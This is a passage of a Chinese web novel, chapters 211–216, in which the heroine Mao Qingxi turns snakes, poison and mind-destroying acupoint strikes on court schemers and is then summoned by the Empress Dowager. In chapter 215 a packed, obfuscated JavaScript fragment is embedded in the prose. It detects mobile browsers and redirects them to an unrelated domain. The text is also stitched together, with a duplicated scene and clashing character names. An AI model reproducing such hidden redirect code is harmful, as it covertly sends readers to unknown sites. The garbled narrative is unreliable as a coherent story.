“姐!”茅飞羽急得直跺脚。 长明也想跟去,却被茅 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其他人一见蛇群并非冲着自己而来,吓得魂飞魄散,哪里还顾得上许多,连滚带爬地往外逃窜,生怕慢了一步就被毒蛇缠身。 长明紧握佩刀,本能地就要冲上前去救人。 这些细蛇来得诡异,可人命关天,他不能见死不救。 “站住!你做什么?” 茅飞羽却一把拽住了他,力道大得惊人,像是要把他的胳膊拽下来。 长明挣扎着,眉头紧锁,语气焦急:“救人!” “救人?”茅飞羽嗤笑一声,仿佛听到了什么天大的笑话,他压低了声音,语气中满是嘲讽,“你好好看看清楚,那些蛇是直奔着她们姐妹俩去的!这还不够明显吗?肯定有问题!八成是她们自己惹的祸!” “不……不是……我们没有……” 孔清雅慌忙摇头,泪水混着恐惧,在脸上肆意流淌,狼狈不堪。 她急于辩解,声音却抖得不成样子,断断续续,毫无底气。 茅飞羽冷笑一声,下巴朝着孔清晚一扬,眼神中满是不屑:“不是你们?那你倒是问问你那个好姐姐,看看她怎么说? 第二百一十一章 ” 孔清雅猛地转头,看向脸色惨白的孔清晚。 孔清晚眼神躲闪,嘴唇哆嗦,支支吾吾,一副心虚至极的模样。 “我……我……不关我的事……我也不知道……怎么会这样……真的……” 她语无伦次地辩解,身体却不受控制地颤抖,每一个细微的动作都暴露了她的慌乱。 “姐姐……” 孔清雅怔住了,她望着孔清晚,眼中写满了难以置信,仿佛不敢相信眼前的人是自己最亲近的姐姐。 “啊——!” 突然,孔清晚发出一声凄厉的惨叫,声音尖锐刺耳,仿佛要把人的耳膜都刺穿。 一条细蛇已经缠上了她的脚踝,猩红的信子在她白皙的皮肤上游走,令人作呕,紧接着,毒牙狠狠地刺入了她的血肉之中。 剧痛与恐惧如同决堤的洪水,瞬间将孔清晚吞噬,她下意识地伸手去摸腰间,那里,应该挂着她的香囊,那是她最后的希望,最后的救命稻草。 可是,她的手却摸了个空。 “我的香囊呢?!” 她的声音因为极度的惊恐而变得尖利,甚至有些扭曲。 “你是在找这个吗?这个小玩意儿?” 茅飞羽的声音响起,他不知何时已经将香囊拿在了手里,指尖勾着香囊的系绳,轻轻晃动着,脸上带着一丝戏谑的笑意。 “还给我!” 孔清晚嘶吼着,声音嘶哑,眼中迸射出怨毒的光芒,像是要把茅飞羽生吞活剥。 孔清雅虽然不明白这中间到底发生了什么,但一种强烈的不祥预感却如同一块巨石,沉甸甸地压在她的心头,让她几乎喘不过气来。 有什么东西不一样了。 “你竟敢偷走我的香包!”孔清晚咬牙切齿,每一个字都像是从牙缝里挤出来的,带着刻骨的恨意,“清雅!快!夺回我的香包!” 孔清雅被孔清晚猛地推了一把,身体一个踉跄,险些摔倒。 那些细蛇却对她视若无睹,缓缓地、有条不紊地爬上了孔清晚的身体,如同跗骨之蛆,紧紧地缠绕着她。 “啊啊啊啊……” 孔清晚发出凄厉的尖叫,那声音,已经不似人声,更像是野兽濒死前的哀嚎。 孔清雅看着眼前的一幕,只觉得浑身的血液都凝固了,她跌跌撞撞地冲向茅飞羽,伸手就想抢夺他手中的香囊。 那是她姐姐的救命稻草,她必须抢回来! “躲开!” 茅飞羽轻巧地一侧身,避开了孔清雅的手,躲到了长明身后,动作敏捷得像一只猫。 “香囊给我……求求你了……我姐姐她会死的!” 孔清雅急得眼泪直流,她顾不得许多,声音里满是哀求,几乎是在乞求茅飞羽。 “她害人的时候,怎么就没想过别人会不会死?”茅飞羽冷哼一声,眼中没有一丝同情,语气冰冷,“这种人,**也是活该,老天爷都看不过眼!” 孔清雅无计可施,扑通一声跪倒在长明和茅飞羽面前,重重地磕头。 “求求你们……救救我姐姐……我姐姐要是有什么地方得罪了你们,我替她给诸位赔个不是。不管你们要我做什么,我都答应,真的,做什么都可以……只求你们……救救我姐姐……” 她不停地磕头,一下又一下,额头撞击着冰冷的地面,发出沉闷的声响。 一声声,都带着无尽的绝望和哀求。 另一边,孔清晚已经被蛇群完全吞没,密密麻麻的细蛇将她整个人都包裹了起来,争先恐后地钻进她的衣服里,在她身上肆意游走,疯狂地撕咬着她的每一寸肌肤。 她的面色瞬间煞白,再由青转紫,最后变成了一种诡异的灰败,神情惊惧到了极点,嘴唇翕动着,却连呼喊的力气都快要没有了。 孔清雅看着,只觉得心如刀绞,痛不欲生。 她见长明和茅飞羽依旧无动于衷,猛地站起身,擦了一把脸上的泪水,不顾一切地朝孔清晚扑了过去,她不能眼睁睁地看着姐姐就这样死去。 她要救她!哪怕是付出自己的生命! “喂,你怎么见死不救?” 茅飞羽好奇地看向长明,语气中带着一丝疑惑。 他原本以为,以长明的性格,一定会毫不犹豫地冲上去救人的,可现在,他却站在原地,一动不动。 长明脸色铁青,嘴唇紧抿成一条线,仿佛在压抑着什么。 他没有回答茅飞羽的问题,而是冷冷地开口,声音中带着一丝颤抖,那是愤怒和自责交织的情绪。 “所以,她们一开始的目 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在确定她安然无恙后,这才如释重负地松了口气,一颗悬着的心终于落回了肚子里。 茅清兮瞥了一眼被蛇群缠绕,只剩一口气的孔氏姐妹,淡淡地开口: “把香囊扔过去。” 茅飞羽一脸不情愿,但还是依言将香囊扔到了她们身上。 说来也怪,香包才刚掉在地上,那些原本还凶狠异常的细蛇,就像是见了什么可怕的东西一般,纷纷从孔氏姐妹身上退了下来,像是逃命一般。 它们晕头转向地往外爬,但没爬出多远,就一条接一条地僵硬、死去,横七竖八地躺了一地,场面诡异至极。 “这……到底发生了什么?” 冀徒临一直注视着这诡异的一幕,忍不住开口问道,声音里带着一丝颤抖。 但茅清兮根本没有搭理他,只是冷冷地看了他一眼。 自然,也没人回答他的问题。 他神色讪讪,摸了摸鼻子,只得闭上了嘴,不敢再多言。 死里逃生的孔清雅,尚存一丝意识,勉强支撑着没有倒下。 第二百一十二章 而孔清晚已然**极深,面色灰败,气息微弱,昏**过去,生死不知。 她抱着孔清晚,身体止不住地颤抖,泪水无声地滑落,滴落在孔清晚冰冷的脸上。 她惊恐地呼喊着:“姐姐……姐姐快醒过来啊……你醒醒啊……别吓我……” “姐~” 茅飞羽忍不住跑到茅清兮面前邀功,声音拖得老长,尾音微微上扬,带着一丝得意和撒娇的意味。 茅清兮笑着拍了拍他的肩膀,眼中满是赞赏:“干得漂亮,比我想象的还要好。” 她原本只是让茅飞羽想办法偷走孔清晚的香囊,再把她特制的驱虫散洒在孔清晚身上,没想到茅飞羽完成得如此出色,倒是给了她一个意外的惊喜。 这小子,关键时刻还是挺靠谱的。 茅飞羽顿时得意起来,尾巴都快翘到天上去了,他得意洋洋地瞥了长明一眼,眼神中满是挑衅。 长明站在一旁,紧抿着唇,神色黯然,仿佛被一层阴影笼罩。 他默默地低下了头,不敢去看茅清兮的眼睛。 孔清雅望着茅清兮,嘴唇动了动,想开口求救,却又不敢。 她怕……怕被拒绝,怕茅清兮见死不救。 毕竟,是她们姐妹先对不起她的。 “我能够拯救你们,不过你们得答应我一件事。” 茅清兮打破了沉默,语气平静,听不出喜怒。 “我答应!我什么都答应!” 孔清雅想都没想,脱口而出,声音急切而嘶哑,仿佛抓住了最后一根救命稻草。 此刻别说是帮忙了,若能救下姐姐性命,让她做什么她都愿意,哪怕是付出生命的代价,她也在所不惜。 茅清兮没有多言,从怀中取出一个小瓷瓶,扔给茅飞羽。 茅飞羽撇了撇嘴,极不情愿地走过去,将瓷瓶递给了孔氏姐妹,没好气地说道:“算你们走运!” 孔清晚和孔清雅服下解药,没过多久,孔清晚便悠悠转醒,缓缓睁开了眼睛。 她看着完好无损的茅清兮,眼神闪烁,心虚地垂下眼眸,不敢抬头与她对视,心中充满了愧疚和懊悔。 茅清兮冷眼瞥了她一下,语气平静:“走吧,别耽误时间。” 她故意耽误时间,绕到这里,就是为了给孔清晚一个发挥的机会,好让她自食恶果,尝尝被人算计的滋味。 而清韵那边的事情,想必也已经进行得差不多了,正好可以过去处理,不能再拖延了。 孔清雅不知道茅清兮要她们做什么,只能扶着虚弱的孔清晚,默默地跟在茅清兮身后,亦步亦趋。 茅清兮一行人离开后,旁人也被吓得作鸟兽散,这破庙,实在是太邪门了。 可是,门外可是还有猛虎在等着! 众人只得硬着头皮,提心吊胆地跟在茅清兮身后,希望能借她的威势,保自己平安,不至于葬身虎口。 破庙外,一只吊睛白额猛虎被困在一个圈子里,焦躁不安地来回踱步,时不时地发出低沉的咆哮,震得人心头发颤。 四周的地面上,被撒上了茅清兮特制的驱虫粉,形成了一道无形的屏障,将老虎牢牢地困在其中。 那畜生焦躁不安地刨着地,低声咆哮着,却始终不敢越雷池一步,只能在圈子里打转,无能狂怒。 突然,众人的目光被一旁的景象吸引,脸色瞬间变得惨白。 不远处,小康熙王躺在血泊之中,身体残缺不全,一只胳膊和一条腿被老虎硬生生咬断,断肢就丢在一旁,血肉模糊,惨不忍睹。 他早已没了呼吸,身体冰凉僵硬,死状凄惨。 冀晚雨跪坐在地上,怀里抱着小康熙王的尸体,哭得撕心裂肺,肝肠寸断,整个人都崩溃了。 她的眼睛哭得红肿,却再也流不出一滴泪,只剩下无尽的绝望和悲痛。 她死死地抱着小康熙王冰冷的尸体,像是抱着一件失而复得的珍宝,不肯放手,嘴里喃喃自语:“别离开我……求求你……别离开我……” 那声音,嘶哑得不成样子,带着无尽的悲伤和绝望,让人听了心碎。 茅清兮看了她一眼,眼神复杂,却没有停留,转身离去。 她原本,不必蹚这趟浑水。 早些时候,冀晚雨和小康熙王因为琐事发生了争执,冀晚雨情绪激动,口不择言,说了很多伤人的话。 小康熙王脸色铁青,一言不发。 冀晚雨见他不说话,更是怒火中烧,摔门而出,独自一人跑进了树林 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小康熙王已经驾鹤西去,只剩下一具冰冷的尸体。 曾经,冀晚雨一直不相信小康熙王对她是真心的,尤其是在她毁容之后,她变得更加敏感多疑,歇斯底里,整日患得患失。 小康熙王变着法儿地哄她,她却总是疑神疑鬼,并非担心他嫌弃她容貌不佳,就是怀疑他背着自己跟那两个通房丫鬟厮混。 为了这些莫须有的事情,她天天跟他杠,跟他闹,摔东西,砸东西,直到小康熙王精疲力竭,一言不发,她这才感受到他对她的那一丝情意,才会稍稍安心。 可如今,曾经最疼她的那个人,却用自己的生命向她证明了他的爱,证明了他对她的真心。 可惜,冀晚雨明白得太晚,一切都无法挽回,她永远地失去了他。林中空地,落叶被风卷起,打着旋儿。 猛虎倒地的闷响仿佛还在耳边回荡,惊魂未定的众人如鸟兽散。**小公子面色惨白,双腿发软,被侍卫搀扶着,跌跌撞撞地逃离。 茅清兮却未归返,领着众人,朝密林更深处行去。 第二百一十三章 脚步声沙沙,在静谧的林间格外清晰。 “臧夫人,您这是……要去哪儿?”孔清雅紧随其后,行了一段,终是忍不住,声线微颤地问。 茅清兮脚步一顿,侧首,唇边勾起一抹浅笑:“到了。” 前方,清韵与俞霜并肩而立,似已等候多时。清韵见茅清兮现身,提裙快步迎上,眉心紧蹙: “清兮,你可算来了!这……究竟发生了什么?” 她目光扫过一旁的地面,落在那两个身影上——乐雅书,以及,本不该出现在此的四公主! “四公主?”孔清晚惊呼一声,杏眼圆睁,满是不敢置信,“她怎会在此?” 茅清兮睇了她一眼,眸光流转,似笑非笑:“哦?那依张大小姐之见,四公主该在何处?” 孔清晚呼吸一窒,嘴唇翕动,却如鲠在喉,一个字也吐不出。 孔清雅则如坠云雾,茫然四顾:“四公主……她怎么了?” “看来,你姐姐是什么都没告诉你啊。”茅清兮轻笑,语带玩味,指尖轻捻,似在把玩着什么。 孔清雅心头一紧,急切地转向孔清晚:“姐!这究竟是怎么回事?” 孔清晚避开妹妹的视线,转而盯住茅清兮,声音有些发紧:“你……何时知道的?” “你妹妹被救起之时。”茅清兮应得轻描淡写。 “那不可能!”孔清晚声音尖锐,像是听到了什么天方夜谭,“你胡说!” 茅清兮从袖中抽出一块丝帕,展开,露出里面包裹的一枚小巧香囊。那香囊的样式、绣纹,与孔清雅落水前佩戴的那枚,分毫不差,只是颜色略有不同。 “这是清雅落水前戴的香囊,被水浸湿后,颜色变深了些。”茅清兮解释,“但真正的秘密,藏在这香囊的夹层里。” 说着,她轻轻一挑,竟从香囊中抽出了一片薄如蝉翼的丝绢,上面隐约可见几行细小的字迹。 “这是用特殊药水写下的密信,需以火烤才能显现。”茅清兮将丝绢凑近火折子,原本空白的绢面上,渐渐浮现出字迹。 “这是……”孔清雅凑近一看,脸色刷白,“这是四公主的笔迹!” “没错。”茅清兮将丝绢收起,重新放回香囊,“这香囊里,还藏有一种名为‘诱兽香’的药草,无色无味,却能吸引猛兽。你妹妹落水,引来水蛟,并非偶然,而是有人精心策划。” 长明听着,头垂得更低,恨不得找个地缝钻进去。都是他,识人不清,险些害了师父。 孔清晚脸色煞白,嘴唇颤抖着:“不……不是我……是四公主,是她逼我的!” “姐!你怎么能这么说?”孔清雅难以置信地看着孔清晚,“你明知道……” “我有什么办法?!”孔清晚情绪激动,眼泪夺眶而出,“若不按她说的做,爹爹的把柄在她手上,我们一家都得死!” “可臧夫人救了我们!你怎能恩将仇报?”孔清雅痛心疾首。 “我……”孔清晚哑口无言,泪水涟涟。 孔清雅深吸一口气,努力平复情绪,转向茅清兮:“臧夫人,我姐姐她……只是一时糊涂。我们……” “我知道。”茅清兮打断她,声音冷冷的,“我本不想多管闲事。既然我那小徒儿出手相助,之前的算计,我可以不计较。” 她顿了顿,目光扫过孔清晚:“可有些人,贪心不足,一计不成,又生一计。” 孔清晚脸色一僵,不敢与茅清兮对视。 “你以为,你一路撒下的诱兽粉,我当真不知?”茅清兮冷笑,“你可知,这诱兽粉,除了吸引猛虎,还能吸引毒蛇?” “什么?”孔清晚脸色大变。 “幸好飞羽发现了你的小动作,将你撒下的诱兽粉,换成了另一种药粉。”茅清兮淡淡道,“否则,你现在恐怕已经葬身蛇腹了。” 茅飞羽得意地哼了一声:“算你走运!” “我……”孔清晚张了张嘴,却什么也说不出来。 孔清雅“扑通”一声跪在茅清兮面前:“臧夫人,千错万错,都是我姐姐的错!我愿替她受罚,只求您饶她一命!” 孔清晚嘴唇动了动,最终还是没有说话。 茅清兮看着跪在地上的孔清雅,沉吟片刻,道:“起来吧。” “臧夫人?”孔清雅一愣。 “去告诉四公主的侍女,”茅清兮缓缓开口,声音冰冷,“就说四公主与我在一起,而那只猛虎,已经被我杀了。让她们速速带人前来,将我捉拿归案。 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她并未直接割开清韵心口,而是以银针刺入清韵心口附近的几处穴位,再以特殊手法,将银针连成一线。 随着银针的捻动,乐雅书体内的阴蛊开始躁动不安,他紧闭双眼,额头青筋暴起,身体微微颤抖。 茅清兮全神贯注,手指翻飞,银针在她手中,仿佛有了生命一般。 突然,她低喝一声:“出!” 只见一缕黑气,自清韵指尖的伤口处,缓缓飘出,在空中扭曲挣扎,似有不甘。 茅清兮眼疾手快,取出一个瓷瓶,将那缕黑气收入瓶中。 “呼……”清韵长舒一口气,只觉浑身轻松,仿佛卸下了一副重担。 “疼死我了!”她揉着手指,眼泪都快掉下来了,“这鬼东西,可算弄出来了!” 她看向昏迷的乐雅书,眼中闪过一丝厌恶:“这种人,就该千刀万剐!” “等等。”茅清兮拦住她,将手中的瓷瓶递给她,“看看,这是什么?” 清韵接过瓷瓶,定睛一看,只见瓶中,一只形似蚕虫的小虫,正不安地蠕动着。 第二百一十四章 “这是……”清韵瞪大了眼睛,“媚蛊?” “没错。”茅清兮点了点头,“这便是子蛊。” 她从清韵手中取回瓷瓶,走到昏迷的四公主身边,将子蛊送入了四公主口中。 “你这是……”清韵一惊,随即明白了茅清兮的用意,“你是想……以其人之道,还治其人之身?” “没错。”茅清兮眼中闪过一丝冷意,“四公主身份尊贵,我动不了她。但若不还手,她只会变本加厉。” 她顿了顿,接着说道:“不过,这还不够。” 茅清兮俯身,在四公主后脑的某个穴位上,轻轻一按。 “从今往后,四公主,便只是个痴儿了。”茅清兮的声音,平静得没有一丝波澜。 她不后悔。对付这种人,心慈手软,只会自取灭亡。 “走吧。”茅清兮站起身,率先朝林外走去。 清韵看了看昏迷的四公主和乐雅书,眼神复杂。她知道,这两个人,从此以后,便再也无法兴风作浪了。 她快步跟上茅清兮,心中,既有解脱,也有感慨。“臧夫人,我错了!求您……饶我一命……” 孔清晚“扑通”一声跪倒在地,声音里带着绝望的哭腔, “我以后……一定唯您马首是瞻!” 从孔清雅离开后,孔清晚就一直沉默着,整个人像是被抽走了魂魄一般。 这会儿,她看着茅清兮,眼底的恐惧再也掩饰不住。 茅清兮居高临下地看着她,没有说话,目光像是要把她看穿。 孔清晚是真的怕了。 茅清兮连四公主都敢下手,要弄死她,还不是跟捏死一只蚂蚁一样容易? 她死死地盯着茅清兮的眼睛,像是想从那里面看出一点点生的希望。 “我……我发誓会守口如瓶,” 孔清晚的声音抖得不成样子, “我……我发誓!” “刚才四公主的下场,你也看到了。” 茅清兮终于开口,语气依旧是淡淡的, “留着你,始终是个麻烦。” 她缓缓蹲下身,冰凉的指尖轻轻搭在了孔清晚的颈侧。 孔清晚吓得浑身一颤,几乎是下意识地,死死抓住了茅清兮的袖子,指节因为用力而泛白。 “臧夫人……我求求您……我求求您……” 她语无伦次地哀求着,泪水糊满了整张脸。 “四公主许诺的不只是放你爹一事吧?” 茅清兮打断了她,语气里带着一丝不易察觉的嘲弄。 她微微俯身,凑近孔清晚, “这段时日,陛下有意为贤王择一良缘……” 在孔清晚骤然呆滞的眼神中,茅清兮一字一顿地说: “她答应你,让你成为贤王府的女主人,对不对?” 孔清晚的嘴唇颤抖着,却一个字也说不出来。 她想否认,可是喉咙像是被什么东西堵住了,只能发出“嗬嗬”的声响。 “当初,要不是我徒弟出手,你妹妹早就被水蛟吞进肚子里了。” 茅清兮的声音陡然冷了下来, “你……不怕吗?” 她盯着孔清晚, “一个能拿亲妹妹当筹码的畜生,你说的话,我会信?” 孔清晚嘴唇发白,抖得像筛糠一样,只能徒劳地重复: “不会的……不会的……” 茅清兮没再理会她的辩解。 她缓缓起身,眼底一片冰冷。 在孔清晚惊恐欲绝的目光中,茅清兮的手指移到她脑后,找准某个位置,内力猛地一震。 孔清晚眼中的神采瞬间涣散,变成了一片空洞的迷茫,身子也软软地瘫倒下去。 茅清兮收回手,站起身,轻轻拍了拍衣袖上并不存在的灰尘。 “这种人,不用听她狡辩,” 清韵公主的声音在一旁响起,带着一丝厌恶, “斩草除根方为上策。” 即使是被娇宠长大的她也明白,在这种环境下,心慈手软,最后害的只会是自己和身边的人。 茅清兮只是笑了笑,没说什么,转身将孔清晚交给了俞霜。 “不行,太便宜乐雅书了!” 清韵公主忽然恨恨地跺了跺脚,转身就要往回走。 “竟敢对我下蛊控心,这是在找死啊!” “不用你出手,” 茅清兮一把拉住了她, “他也完了。” …… “吁——” “嗷——” 凄厉的马嘶声、惊恐的尖叫声、野兽低沉的嘶吼声,混杂在一起,打破了猎场午后的宁静。 孔清雅带着四公主的侍女、侍卫,还有一队锦衣卫,急匆匆地赶到了茅清兮之前待的地方。 还没等他们靠近,就听到了一阵阵让人面红耳赤的声音,断断续续地,从林子深处传来。 孔清雅 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即使再怕,她也不会透露一个字。 她只是默默地在心里祈祷,希望这件事不要牵连到家人。 …… 茅清兮和清韵回到猎场的住处时,潘云霄已经将四公主和乐雅书押了回来。 “这……简直有辱皇家体统!” 潘云霄将事情原原本本禀报给圣上时,圣上气得直接掀翻了桌案, 他指着被带上来的四公主和乐雅书,手指颤抖, “查!给朕彻查!” 尹贵妃哭得死去活来,她扑到四公主身边,却发现四公主目光呆滞, 对她的呼唤毫无反应,口水还止不住地往下流。 “太医!快传太医!” 尹贵妃尖声叫喊着,声音里充满了恐惧和绝望。 太医们战战兢兢地赶来,一番诊治后, 为首的太医扑通一声跪倒在地, “陛下,娘娘,四公主殿下她……她这是……失了心智啊!” “什么?!” 圣上如遭雷击,身子晃了晃,差点晕厥过去。 他深吸一口气,强压下心中的怒火, “怎么会这样?好端端地,怎么会失了心智? 第二百一十五章 !” “这……许是……受了惊吓,又撞到了头……” 太医们冷汗涔涔,不敢抬头。 圣上的脸色阴沉得可怕, 他当然知道,事情绝对没有这么简单。 但眼下,最重要的,是**息,维护皇家的颜面。 他摆了摆手,示意太医们退下, 然后看向潘云霄,一字一顿地吩咐道: “这件事,到此为止!任何人不得外传!” “臣……遵旨!” 潘云霄低头应道,心中却是一片骇然。 …… “父王!父王您要为儿臣做主啊!” 第二日,康熙王悲恸欲绝的哭喊声,打破了清晨的宁静。 他披头散发,双眼通红, 整个人像是老了十岁,摇摇欲坠地跪在圣驾面前。 “陛下!我儿死得冤枉啊!那畜生……那畜生好端端地,怎么会从笼子里跑出来?!” 康熙王捶胸顿足,哭得几乎背过气去, “我可就这么一个儿子啊……” 众人这才知道,昨夜,小康熙王竟然在猎场里,被老虎活活咬**! 一时间,整个猎场都笼罩在一片阴云之中。 “晚雨……晚雨呢?!” 康熙王忽然像是想起了什么,他猛地抬起头, 四处张望着,嘶哑着嗓子喊道。 冀晚雨失魂落魄地走了过来,她双眼红肿,脸色惨白, 整个人像是被抽走了所有的生气,只剩下一具空壳。 她“扑通”一声跪倒在地, “父王……” “你这个**!还有脸叫我父王?!” 康熙王一看到她,顿时怒火中烧, 他猛地扑了上去,一把揪住冀晚雨的头发, 狠狠地给了她几个耳光, “都是你!都是你这个扫把星!害**我儿!建议你去投胎?!” 冀晚雨被打得嘴角流血,却只是呆呆地跪着, 一声不吭,像是一个没有知觉的木偶。 “我……我该死……” 她喃喃自语,眼神空洞, “都怪我……都怪我……” “晚棠,慎言!” 不远处,冀徒临看着眼前这混乱的一幕,眉头紧锁。 他低声呵斥了一句身旁的冀晚棠。 “哥,我说错什么了嘛!” 冀晚棠撇了撇嘴,一脸的不以为然, “本来就是冀晚雨那个**害**小康熙王!她活该!” “你……” 冀徒临还想说什么,却被冀晚棠打断了。 “哥,你看,今年秋猎,咱们的猎物可不少呢!” 冀晚棠指着不远处堆积如山的猎物, “可惜啊,出了这种事,今年怕是不会评比了……” “行了,少说两句。” 冀徒临叹了口气, 他虽然也为今年的秋猎感到惋惜, 但也知道,现在不是说这些的时候。 …… “启禀陛下,那药粉……是从孔清晚身上搜出来的。” 潘云霄将查到的线索,一一禀报给圣上。 原来,那只伤人的老虎之所以会突然发狂, 是因为有人在它身上撒了特殊的药粉。 而这种药粉,竟然是从孔清晚身上找到的。 只是,找到孔清晚的时候,她已经疯了, 整个人缩在角落里,嘴里不停地念叨着“不是我”“不要杀我”之类的话, 问什么都问不出来。 “孔清晚……” 圣上缓缓念着这个名字,眼神晦暗不明。 他自然知道,这背后,一定另有隐情。 “继续查!” 他沉声吩咐道。 …… “张家那边,你去安排一下。” 茅清兮坐在马车里,淡淡地对俞霜吩咐道。 俞霜离开后,茅清兮看向清韵,见她正盯着自己。 “怎么了?”茅清兮问。 清韵欲言又止,终于忍不住问:“孔清雅的妹妹,也参与了?” “她是帮凶。”茅清兮闭上眼睛,淡淡地回了一句。 “那她姐姐,孔清雅……”清韵还想问。 茅清兮打断她:“她只是还债而已。” “她还了什么债?” 茅清兮看了清韵一眼,说:“有些事,你还是不知道的好。” 马车缓缓驶动,秋猎的队伍,开始启程返回京城。 茅清兮靠在软垫上,闭目养神。 清韵则在一旁,托着下巴,若有所思。 “臧夫人,太后娘娘有请。” 突然,一个声音打断了车内的安静。 一位身着宫廷服饰的老嬷嬷,站在马车外,恭敬地说道。 “太后?” 清韵一愣,脱口而出, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253295|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“华嬷嬷,我也好久没见外祖母了,我能一起去吗?” “这……” 华嬷嬷有些犹豫, “太后娘娘吩咐了,只见臧夫人一人。” “我……” 清韵还想说什么,却被茅清兮按住了手。 “清韵,你先回去。” 茅清兮对她笑了笑, “我去去就回。” 说完,她便下了马车,跟着华嬷嬷走了。“臧夫人,太后娘娘有请。” 突如其来的一声,像一把尖刀,划破了马车内的欢声笑语。 华嬷嬷面无表情地立在车外,只等茅清兮的回话,仿佛她只是个传声筒,不带任何私人感情。 “太后?”清韵郡主惊得差点从座位上跳起来,但随即,她又像是想到了什么,眼睛一亮,凑到车门口,声音里带着几分讨好,“华嬷嬷,我能不能……一起去呀?我都好久没见到外祖母了……” 华嬷嬷有些为难地欠了欠身,声音依旧平板:“太后娘娘吩咐了,只见臧夫人一人。” “可是我……”清韵急了,还想再说些什么。 茅清兮却轻轻按住了她的手,摇了摇头,脸上带着安抚的笑意:“你先回去,我很快就回来,别担心。” 说完,她也不等清韵再说什么,便转身下了马车,只留给清韵一个宽慰的眼神,仿佛在说“一切有我”。 华嬷嬷引着茅清兮走向一辆极为豪华的马车,单是那垂下来的流苏,颗颗都镶嵌着米粒大小的珍珠,在阳光下闪着细碎的光,比寻常人家的帘子还要奢华。 茅清兮默默跟在后面,脑子里却像一团乱麻,怎么也理不清。皇太后足不出户,从不参加秋猎,今天却突然召见……这背后,究竟隐藏着什么? 还没等她想出个所以然,已经到了马车前。华嬷嬷做了个“请”的手势,示意她上去。 茅清兮深吸一口气,告诉自己要镇定。她小心翼翼地撩起裙摆,踏上马车,还没站稳,就“扑通”一声跪了下去,声音里带着恰到好处的恭敬:“臣妇茅清兮,参见太后娘娘。” “免礼。” 太后的声音四平八稳,听不出任何情绪,仿佛她只是在陈述一个事实。 茅清兮悄悄抬头,飞快地扫了一眼。 这马车内部简直就是个缩小的宫殿,地上铺着厚厚的波斯地毯,连针脚都细密得看不出来。正中央摆着个鎏金四足兽首熏炉,里面燃着名贵的龙涎香,暖意融融,熏得人骨头都酥软了几分。 第二百一十六章 两名宫女垂手跪在太后身侧,一个正轻轻捶着腿,另一个手里摇着一把湘妃竹柄的团扇,扇面上绣着精美的双面绣,随着扇子的摇动,上面的花鸟似乎也跟着翩翩起舞。 茅清兮不敢多看,忙垂下眼帘,规规矩矩地坐到一旁,脑子里却一刻不停地转着,猜测着太后召见她的用意,每一种猜测,都让她心惊胆战。 太后微微向后靠了靠,示意捶腿的宫女让开,然后淡淡地开口:“你过来替本宫按按。” “是。” 茅清兮不敢怠慢,连忙挪过去,跪在太后脚边,轻轻地、一下一下地捶着。 她能感觉到太后的目光落在自己身上,像两道X光,要把她从里到外看穿。 马车缓缓启动,不紧不慢地走着,发出轻微而有节奏的“咕噜”声,像是某种催眠曲。 太后闭着眼,像是在养神,又像是在等待,等着茅清兮自己先沉不住气。 车厢里静得吓人,只有熏炉里偶尔发出细微的“噼啪”声,那是香料燃烧的声音。 不知过了多久,久到茅清兮觉得自己的腿都快麻木了,太后才缓缓开口,声音里带着一丝不易察觉的冷意:“哀家听闻……你一直在寻寒星露的解药?” 茅清兮的手明显一抖,险些失了力道。她连忙稳住心神,强自镇定,但眉头还是忍不住微微蹙了起来,像是一只受惊的小鹿。 “您……从何得知?”她问,声音有些干涩。 “这你无需多问。”太后突然睁开眼睛,眸子里精光四射,仿佛能洞察人心,“是巧芍那丫头,哭着求到了哀家这里,非要哀家赏她玉露珠。哀家被她缠得心烦,才允了她。谁知……” 太后顿了顿,语气突然变得严厉:“没过几日,她又来了,说玉露珠……不见了!” 太后猛地一拍扶手,身子微微前倾,原本慈祥的面容,此刻却带着一股逼人的威严,声音也陡然拔高:“哼,你当哀家跟巧芍一样蠢笨吗?被人牵着鼻子走,如今连清白都快没了!” 茅清兮只觉得一股寒意从脚底板直冲天灵盖,冻得她浑身发抖,连血液都快要凝固。她向后退了点,把头深深地埋下去,额头几乎贴到了冰冷的地毯:“臣妇……不明白太后娘娘的意思,请太后娘娘恕罪!” “茅清兮,你好大的胆子!”太后厉声呵斥,每一个字都像一把锋利的刀子,狠狠地扎在茅清兮的心上,“竟敢算计到皇室头上,你可知罪!” 茅清兮脑子里“嗡”的一声,各种念头乱窜,像一群无头苍蝇,撞得她头昏脑涨。她强迫自己冷静下来,稳住声音,一字一顿地说:“太后娘娘明鉴,臣妇与四公主殿下虽有龃龉,自打踏入狩猎区域,臣妇便再未见过四公主殿下,更遑论……算计。” “你少跟哀家装傻充愣。”太后冷冷地盯着她,目光像两把小钩子,要把她的心挖出来看个究竟。她的视线缓缓下移,落在了茅清兮的肩膀上,语气中带着一丝玩味,“听说你肩上受了伤……现在可好些了?” 茅清兮心里“咯噔”一下,像是有什么东西在脑海里炸开了,炸得她一片空白。 她稳了稳心神,强压下心头的惊骇,试探着问:“太后……您是如何得知的?” “伤你之人,正是哀家派去的。”太后一字一顿,声音冰冷得像从冰窟窿里捞出来的一样,“你侥幸逃脱,算你命大。不过,既然话已至此,咱们也不必再绕弯子了。” 茅清兮只觉得浑身的血液都凝固了,手脚冰凉,像是坠入了一个万丈深渊,不断地下坠,下坠…… 她怎么也没想到,那些黑衣人竟然是太后派来的!这简直比最离奇的话本还要荒诞! “臣妇……请太后明示。”她低垂着头,声音几不可闻,像是一只受伤的小兽,在做最后的挣扎。 太后轻轻捻动着拇指上的玉扳指,那玉扳指在昏暗的光线下泛着幽幽的光,像是一只鬼眼。 “哀家手里有玉露草,”太后终于说出了目的,声音低沉而缓慢,每一个字都像一颗钉子,狠狠地钉进了茅清兮的心里,“只要你拿玄机图来换。” 果然是为了玄机图! 茅清兮的嘴唇抿成了一条线,她沉默了片刻,脑海中飞快地闪过无数个念头,最 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“住口!”太后厉声喝道,脸色铁青,“冀容白的存在,本就是个错误。他能活到现在,已是哀家格外开恩!” 